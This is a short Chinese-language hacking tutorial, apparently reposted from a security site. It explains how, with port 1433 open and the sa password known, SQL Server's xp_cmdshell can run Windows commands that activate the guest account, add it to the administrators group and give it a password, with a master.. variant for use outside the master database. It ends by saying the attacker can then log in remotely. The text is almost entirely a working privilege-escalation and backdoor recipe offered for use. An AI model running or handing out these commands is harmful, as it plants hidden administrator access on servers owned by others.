使用sql server查询器执行系统命令
前提条件:服务器开放1433端口,得到sa的口令。
执行以下命令 www.2cto.com
xp_cmdshell 'net user guest /active:yes' ----激活guest账号
xp_cmdshell 'net localgroup administrators guest add'
----将guest账号加入管理员组
xp_cmdshell 'net user guest youxia' ----设置管理员的密码
如果登陆的不是master数据库,需要在存储过程前加上master..,命令变成
master..xp_cmdshell 'net user guest /active:yes'
提示命令成功,可以使用guest账号远程登陆服务器。